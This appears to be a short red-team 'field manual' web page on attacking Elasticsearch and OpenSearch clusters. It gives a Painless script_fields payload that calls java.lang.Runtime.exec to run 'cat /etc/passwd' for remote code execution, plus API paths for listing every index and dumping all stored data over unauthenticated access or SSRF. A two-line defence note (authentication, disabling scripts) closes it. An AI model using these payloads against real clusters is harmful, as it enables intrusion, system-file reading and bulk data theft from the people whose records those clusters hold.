Ir al contenido

📕 FIELD MANUAL 20.1: ELASTICSEARCH INJECTION (THE DATA LAKE)

Objective: Let's explore NoSQL search engines (Elastic/Opensearch) to exfiltrate Big Data or execute remote code (RCE).

0views

Classification: RED TEAM EYES ONLY

Objective: Let's explore NoSQL search engines (Elastic/Opensearch) to exfiltrate Big Data or execute remote code (RCE).

Elasticsearch uses JSON over HTTP (Port 9200). It is often unauthenticated or accessible via SSRF.

Legitimate Query: GET /_search?q=user:admin

Elastic allows us to execute scripts to calculate dynamic fields. If we can inject into the script, we have RCE.

  • Payload (Java/Painless):

    Ventana de terminal
    {
    "script_fields": {
    "myscript": {
    "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"
    }
    }
    }

    (Note: Modern versions of Elastic have strong sandboxes, but older or misconfigured versions are vulnerable).

If we have access to the REST API (via SSRF or direct):

  • /_cat/indices?v -> We will list all databases (indices).
  • /_search?q=*&size=1000 -> We will dump everything.
  • Defense:
    1. Authentication: We will never expose port 9200 without authentication/TLS.
    2. Disable Scripts: script.allowed_types: none in elasticsearch.yml. We must disable scripts to prevent code injection.